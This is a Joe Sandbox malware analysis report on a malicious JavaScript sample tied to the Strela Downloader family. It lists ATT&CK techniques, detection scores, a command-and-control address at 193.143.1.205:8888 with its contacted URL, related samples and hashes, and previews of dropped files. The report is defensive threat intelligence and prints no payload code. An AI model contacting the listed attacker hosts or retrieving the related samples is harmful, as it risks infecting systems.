Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
10259286552329511027.js	5%	Virustotal		Browse
10259286552329511027.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tem8	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/W=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem8	net.exe, 00000007.00000002.1437596228.0000027F13D38000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2671527044.000002D23D200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1437596228.0000027F13D38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1437596228.0000027F13D6F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1437596228.0000027F13D8E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1440127704.000002D23D450000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/W=	net.exe, 00000007.00000002.1437596228.0000027F13D6F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587656
Start date and time:	2025-01-10 16:24:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	10259286552329511027.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 54.224.241.105, 18.213.11.84, 50.16.47.176, 34.237.241.83, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.22.242.11, 2.22.242.123, 2.16.168.105, 2.16.168.107, 13.107.246.45, 52.6.155.20, 172.202.163.200, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:25:22	API Interceptor	22x Sleep call for process: powershell.exe modified
10:25:26	API Interceptor	1x Sleep call for process: net.exe modified
10:25:26	API Interceptor	2x Sleep call for process: svchost.exe modified
10:25:33	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CF342114-CD27-4FDB-9984-9F03FED05312_12172024123959996.dll	Get hash	malicious	Unknown	Browse	199.232.214.172
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	QUOTATION-9044456778.pdf (83kb).com.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	199.232.214.172
	Shipping Document.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	199.232.210.172
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	A5815BC0-FA26-4ECC-9A97-EE9DB31273CA_12272024154104847.dll	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251011677249918058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2078028442107917841.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.493230986339756
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Ztak:cJhXC9lHmutpJyiRDeJ/aUKrDgnmG
MD5:	F03E6C13B29C2389FB785760F57EE381
SHA1:	524B963DC4C87ADE73C80587A73B52E5FE2C6F4B
SHA-256:	D1B5A30AC807EDCBCE66E20D18681A5787D263C066398B291BB2ADEABD8284DB
SHA-512:	1CD2640400F1A8391D26D56C140F8543A68545613C3972AAC25D4F70A584216B418607F303F7FF1C4AAFF13235BF0AC2BEFBD91F4E9548535D58C3159EC4D08F
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x568ec8ae, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217209280273833
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:razaNvFv8V2UW/DLzN/w4wZi
MD5:	5C26418209DB95AA010E4B341651EE89
SHA1:	24E0096FE1C6C0EDED9EF5BCCA4F0EE1F775F235
SHA-256:	69500552A193C2AAA4E798884FEBEF36BF554AB282C16AD4EF9EA27EE2EBDCBB
SHA-512:	AF5E73CA89E378A9FA6B2679F7AB3F0D2F122DAD002A73F9AB6F152F76EC7CE73BCE69CDDFAB76569C454A37C49625247689837124D702FD5A4411CB94011A41
Malicious:	false
Preview:	V..... ...............X\...;...{......................p.D..........{}......}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{....................................z......}....................l......}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08119994988837453
Encrypted:	false
SSDEEP:	3:C8EYeIrRggvew/fgsCrZClW/t87J3ll+SHY/Xl+/rQLve:C7zc1ewfgs3Gi7JVAS4M
MD5:	7BDA87DBC237A80D1020AC985DE9BD69
SHA1:	ECBD7412BD603C2C2465CB826774E9785BBCAE2D
SHA-256:	DF113A02F303D24E1E9DC80AA75AB41864D2C643B08782B3E9DFBAE6D76F12CC
SHA-512:	1F1FCA3E3CCF50240F94EC8F22BEA2441225233DFFEE488BCC42AFE324AB091C623A1D4663452AD81D5FCAA3FD3829035082E9571A22F9BD4FD0021F2DE9B2A6
Malicious:	false
Preview:	V$U......................................;...{.......}.......{}..............{}......{}.vv_Q.....{}...................l......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.223715254987029
Encrypted:	false
SSDEEP:	6:iO4zSPNAQWM+q2PqLTwi2nKuAl9OmbnIFUtSzSAG1ZmwszSAQWMVkwOqLTwi2nKZ:7OSP+v8wZHAahFUt8Sj1/SS9V5TwZHAR
MD5:	0587E18C072A7D7209E46EA79E2B0E8A
SHA1:	45D32717CDEEB525DDE4D7C1625A5EB3D5F6B59A
SHA-256:	4218BEA1C83156DCD7F0FCA0A9CF6CFCE977B1F09C77871B06A4782100F9F358
SHA-512:	39B275D206ABD6112E75CD3B14B417A92AFD16A3501DBEFB9662DFF90BC4431A38532ED9526D2DB404F5C19A65CB6D5E7782BAE4BF79D47F055BFDE0D9F93500
Malicious:	false
Preview:	2025/01/10-10:25:26.476 9ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-10:25:26.478 9ac Recovering log #3.2025/01/10-10:25:26.478 9ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.223715254987029
Encrypted:	false
SSDEEP:	6:iO4zSPNAQWM+q2PqLTwi2nKuAl9OmbnIFUtSzSAG1ZmwszSAQWMVkwOqLTwi2nKZ:7OSP+v8wZHAahFUt8Sj1/SS9V5TwZHAR
MD5:	0587E18C072A7D7209E46EA79E2B0E8A
SHA1:	45D32717CDEEB525DDE4D7C1625A5EB3D5F6B59A
SHA-256:	4218BEA1C83156DCD7F0FCA0A9CF6CFCE977B1F09C77871B06A4782100F9F358
SHA-512:	39B275D206ABD6112E75CD3B14B417A92AFD16A3501DBEFB9662DFF90BC4431A38532ED9526D2DB404F5C19A65CB6D5E7782BAE4BF79D47F055BFDE0D9F93500
Malicious:	false
Preview:	2025/01/10-10:25:26.476 9ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-10:25:26.478 9ac Recovering log #3.2025/01/10-10:25:26.478 9ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.135056960208049
Encrypted:	false
SSDEEP:	6:iO4zSSYRSVq2PqLTwi2nKuAl9Ombzo2jMGIFUtSzSQaQgZmwszSjlIkwOqLTwi2g:7OSqv8wZHAa8uFUt8SQa5/SSju5TwZHA
MD5:	54F01E06D03F150FD226A39AD0E3BDDE
SHA1:	03326BAC2B76F8787402E1EA65CDC71674AA3B8A
SHA-256:	B209B558C63168E9CFB904E3BF54BC1E4DEB57129A1BECEC782B3610D886A020
SHA-512:	212F458E1FD7F076ACCB2F5E67940A7B1B0493CD6198B6D8D2AC269A42900F6D2B070DBEC69EFFA207F62EFE607769AAFCEC0F7826639FD09F336CE22F2429DA
Malicious:	false
Preview:	2025/01/10-10:25:26.630 1064 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-10:25:26.632 1064 Recovering log #3.2025/01/10-10:25:26.633 1064 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.135056960208049
Encrypted:	false
SSDEEP:	6:iO4zSSYRSVq2PqLTwi2nKuAl9Ombzo2jMGIFUtSzSQaQgZmwszSjlIkwOqLTwi2g:7OSqv8wZHAa8uFUt8SQa5/SSju5TwZHA
MD5:	54F01E06D03F150FD226A39AD0E3BDDE
SHA1:	03326BAC2B76F8787402E1EA65CDC71674AA3B8A
SHA-256:	B209B558C63168E9CFB904E3BF54BC1E4DEB57129A1BECEC782B3610D886A020
SHA-512:	212F458E1FD7F076ACCB2F5E67940A7B1B0493CD6198B6D8D2AC269A42900F6D2B070DBEC69EFFA207F62EFE607769AAFCEC0F7826639FD09F336CE22F2429DA
Malicious:	false
Preview:	2025/01/10-10:25:26.630 1064 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-10:25:26.632 1064 Recovering log #3.2025/01/10-10:25:26.633 1064 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\20270829-22d7-4519-8481-979e89aae970.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964219607429295
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq7gYsBdOg2HgOcaq3QYiub5P7E4T3y:Y2sRdsTNdMHK3QYhbt7nby
MD5:	59AEB2AA906AADE59E25A92093B02A5F
SHA1:	ECB56C37BEE549711895F72DFC05A7F25349258E
SHA-256:	034515539B2AB50F090CB73A2989B951D645A1443E3B47C0F514F335B5774B28
SHA-512:	8C24F5CFA39F2E098C9C727BD3BD74D914A802E4333A386E366AFFE003E91AD81A6290CBB2EFDFE2E7C8B08F02403BD65615870AADFF398C79A0AC75EEB1068F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381082737762719","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134313},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4T3y:Y2sRds+6dMHlR3QYhbt7nby
MD5:	CBDEF62156D26E2C47C31D3D45CF9E3A
SHA1:	4624B1724AF9FF891155E367BC0111DB3809247D
SHA-256:	7AC5B8097F091EF5FFB1333FCD74598183AF6D81A2C6E46422EAC305CB2264BF
SHA-512:	6243F342FD7E08C85A2B8323FB302BFBFCD942229C2DDB6C771887EEAA99904C590E8632C1034C888B1FDB2350F4A65FD131F9EF7D729772E4EA04B1183B6B14
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5e28ac.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4T3y:Y2sRds+6dMHlR3QYhbt7nby
MD5:	CBDEF62156D26E2C47C31D3D45CF9E3A
SHA1:	4624B1724AF9FF891155E367BC0111DB3809247D
SHA-256:	7AC5B8097F091EF5FFB1333FCD74598183AF6D81A2C6E46422EAC305CB2264BF
SHA-512:	6243F342FD7E08C85A2B8323FB302BFBFCD942229C2DDB6C771887EEAA99904C590E8632C1034C888B1FDB2350F4A65FD131F9EF7D729772E4EA04B1183B6B14
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d7771e92-a63f-4c3e-a8b5-9fe0172f172a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4T3y:Y2sRds+6dMHlR3QYhbt7nby
MD5:	CBDEF62156D26E2C47C31D3D45CF9E3A
SHA1:	4624B1724AF9FF891155E367BC0111DB3809247D
SHA-256:	7AC5B8097F091EF5FFB1333FCD74598183AF6D81A2C6E46422EAC305CB2264BF
SHA-512:	6243F342FD7E08C85A2B8323FB302BFBFCD942229C2DDB6C771887EEAA99904C590E8632C1034C888B1FDB2350F4A65FD131F9EF7D729772E4EA04B1183B6B14
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2234401539529065
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Oz7/EI2q:1CDLCmPj8j0/8qKgwPHYPx8xemT8Oz7P
MD5:	430A23ACD1278E2C83EF1B7C8952B494
SHA1:	9F86329372FFC89A49D1B778690E5B68A6863392
SHA-256:	A280BDC092CBFBAC36E51A395CA0874DB8D53EAF011FBB7E2CEA0574BF55E411
SHA-512:	108074105803E5E8AE833F2EDFD44E514087951D58E47D728AF6EA76FB3A657257FCBE26448B800AEB586F7A856CBA8161955E1E8447E550A57A8E424E1837AB
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.187166744538595
Encrypted:	false
SSDEEP:	6:iO4zSllVq2PqLTwi2nKuAl9OmbzNMxIFUtSzSzS0gZmwszSzS0IkwOqLTwi2nKuP:7OStv8wZHAa8jFUt8SzC/SSzu5TwZHAo
MD5:	8F95203F4E0F503940760E31D12FB0DA
SHA1:	D5D87F02754B839796753A8BB8B467B3F7E94F18
SHA-256:	FA6ACF3FE4F51F51E5EFFD06AA85706C241B48A680C301E5FE2AF9D86A716776
SHA-512:	C594535DB7F15DE08505F4E2A05AF9B5729858D627729320479B2C0A65E8AFF6541646ECDC9023AE18B1C8137056BD3C20A3991368D3F2BBCFBF2306D4EBD17E
Malicious:	false
Preview:	2025/01/10-10:25:26.873 1064 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-10:25:26.875 1064 Recovering log #3.2025/01/10-10:25:26.875 1064 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.187166744538595
Encrypted:	false
SSDEEP:	6:iO4zSllVq2PqLTwi2nKuAl9OmbzNMxIFUtSzSzS0gZmwszSzS0IkwOqLTwi2nKuP:7OStv8wZHAa8jFUt8SzC/SSzu5TwZHAo
MD5:	8F95203F4E0F503940760E31D12FB0DA
SHA1:	D5D87F02754B839796753A8BB8B467B3F7E94F18
SHA-256:	FA6ACF3FE4F51F51E5EFFD06AA85706C241B48A680C301E5FE2AF9D86A716776
SHA-512:	C594535DB7F15DE08505F4E2A05AF9B5729858D627729320479B2C0A65E8AFF6541646ECDC9023AE18B1C8137056BD3C20A3991368D3F2BBCFBF2306D4EBD17E
Malicious:	false
Preview:	2025/01/10-10:25:26.873 1064 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-10:25:26.875 1064 Recovering log #3.2025/01/10-10:25:26.875 1064 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4383345790291875
Encrypted:	false
SSDEEP:	384:ye+ci5GliBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:ppurVgazUpUTTGt
MD5:	20612D78C87119D8E7D2B06485653937
SHA1:	983D8BF326C32DB93415D99CB8462D047EE2605C
SHA-256:	E717282146B6DEF7C1A4B8CB821BAA702F721A880FD1EAD319CCF09AE8382ED9
SHA-512:	FFC65D94137D0051303BA3CEB6C2F62406C291D454AC7AF45E40FCC7A12B78DAB0190943341EB5D4BAC9B323E340666B9BFF9A248ABA59A6A92A43C24DB2136B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.766566192641952
Encrypted:	false
SSDEEP:	48:7MQJioyVvXioy+0oy1C7oy16oy1YCKOioy1noy1AYoy1Wioy1oioykioyBoy1nor:7LJuvXD5NqXjBiOb9IVXEBodRBkT
MD5:	EC1E00B6C832B356E69B38AA02B161F0
SHA1:	AFEB71A6DCEA4AEE370DB3CF5749D96D7921A29A
SHA-256:	744D886B0103BACF30AFCF3EFEFC6CFE9712D152C715233A37F5AC77319F4D9E
